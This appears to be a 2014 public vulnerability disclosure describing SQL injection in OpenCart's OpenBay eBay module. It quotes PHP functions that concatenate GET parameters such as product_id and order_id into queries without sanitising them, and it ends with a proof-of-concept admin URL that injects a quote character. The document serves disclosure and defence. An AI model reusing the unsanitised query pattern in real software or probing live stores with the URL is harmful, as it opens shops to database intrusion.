# Exploit Title     : OpenCart <= 1.5.6.1 SQL Injection
# Date              : 2014/3/26
# Exploit Author    : Saadat Ullah ， saadi_linux@rocketmail.com
# Software Link     : http://www.opencart.com/index.php?route=download/download
                    : https://github.com/opencart
# Software web      : www.opencart.com
# Author HomePage   : http://security-geeks.blogspot.com/
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

#Opencart suffers from multipe SQL injection in ebay.php the bug is more about 
privilege escalation as attacker may need openbay module access .

Poc
Poorly coded file full of SQLi opencart/system/library/ebay.php
In file opencart/system/library/ebay.php
product_id is used in a SQL query without being sanitize.

public function getEbayItemId($product_id) {
    $this->log('getEbayItemId() - Product ID: '.$product_id);

    $qry = $this->db->query("SELECT `ebay_item_id` FROM `" . DB_PREFIX . "ebay_listing` WHERE `product_id` = '".$product_id."' AND `status` = '1' LIMIT 1");
..............
Function is called on many locations and paramter is passed without santize.
In opencart\admin\controller\openbay\openbay.php
public function editLoad() {
    ...
    $item_id        = $this->openbay->ebay->getEbayItemId($this->request->get['product_id']);
..............
Where $this->request->get['product_id'] comming from GET field.
Similarly More

public function isEbayOrder($id) {
    ...
    $qry = $this->db->query("SELECT `comment` FROM `" . DB_PREFIX . "order_history` WHERE `comment` LIKE '[eBay Import:%]' AND `order_id` = '".$id."' LIMIT 1");

In opencart\admin\controller\extension\openbay.php
    public function ajaxOrderInfo()
    ...
    if($this->openbay->ebay->isEbayOrder($this->request->get['order_id']) !== false){
..............
More
public function getProductStockLevel($productId, $sku = '') {
    ...
    $qry = $this->db->query("SELECT `quantity`, `status` FROM `" . DB_PREFIX . "product` WHERE `product_id` = '".$productId."' LIMIT 1");
..............
ebay.php has many more..
User should have openbay module access
http://localhost/opencart/admin/index.php?route=openbay/openbay/editLoad&token=5750af85a1d913aded2f6e2128616cb3&product_id=1'

#Independent Pakistani Security Researcher